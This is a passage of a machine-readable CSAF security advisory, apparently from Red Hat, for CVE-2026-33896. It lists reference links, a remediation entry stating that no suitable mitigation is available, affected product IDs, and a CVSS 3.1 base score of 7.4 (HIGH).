- github", "url": "https://github.com/advisories/GHSA-2328-f5f3-gj25" }, { "category": "external", "summary": "Reference - github; redhat", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33896" }, { "category": "external", "summary": "Reference - redhat", "url": "https://www.cve.org/CVERecord?id=CVE-2026-33896" } ], "remediations": [ { "category": "mitigation", "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.", "product_ids": [ "CSAFPID-1439292", "CSAFPID-1439294", "CSAFPID-1439306", "CSAFPID-1439317", "CSAFPID-1439319", "CSAFPID-1441200", "CSAFPID-1455906", "CSAFPID-1459353", "CSAFPID-1459355", "CSAFPID-1496261", "CSAFPID-1508257", "CSAFPID-1771999", "CSAFPID-1837472", "CSAFPID-1837473", "CSAFPID-2109952", "CSAFPID-2109953", "CSAFPID-2467441", "CSAFPID-2467442", "CSAFPID-2467443", "CSAFPID-2467444", "CSAFPID-2467445", "CSAFPID-2467448", "CSAFPID-2552001", "CSAFPID-2698055", "CSAFPID-2698057", "CSAFPID-2855724", "CSAFPID-2855725", "CSAFPID-2858634", "CSAFPID-2868420", "CSAFPID-2914696", "CSAFPID-2914697", "CSAFPID-5187689", "CSAFPID-5222698", "CSAFPID-5940623", "CSAFPID-5940626", "CSAFPID-5940629" ] } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.4, "baseSeverity": "HIGH" }, "products": [ "CSAFPID-1439292", "CSAFPID-1439294", "CSAFPID-1439306", "CSAFPID-1439317", "CSAFPID-1439319", "CSAFPID-1441200", "CSAFPID-1455906", "CSAFPID-1459353", "CSAFPID-1459355", "CSAFPID-1496261", "CSAFPID-1508257", "CSAFPID-1771999", "CSAFPID-1837472", "CSAFPID-1837473", "CSAFPID-2109952", "CSAFPID-2109953", "CSAFPID-2467441", "CSAFPID-2467442", "CSAFPID-2467443", "CSAFPID-2467444", "CSAFPID-2467445", "CSAFPID-2467448", "CSAFPID-2552001", "CSAFPID-2698055", "CSAFPID-2698057", "CSAFPID-2855724", "CSAFPID-2855725", "CSAFPID-2858634", "CSAFPID-2868420", "CSAFPID-2914696", "CSAFPID-2914697", "CSAFPID-5187689", "CSAFPID-5197899", "CSAFPID-5222698", "CSAFPID-5733329", "CSAFPID-5920253", "CSAFPID-5940623", "CSAFPID-5940626", "CSAFPID-5940629", "CSAFPID-5956281" ] } ], "title": "CVE-2026-33896" } ] }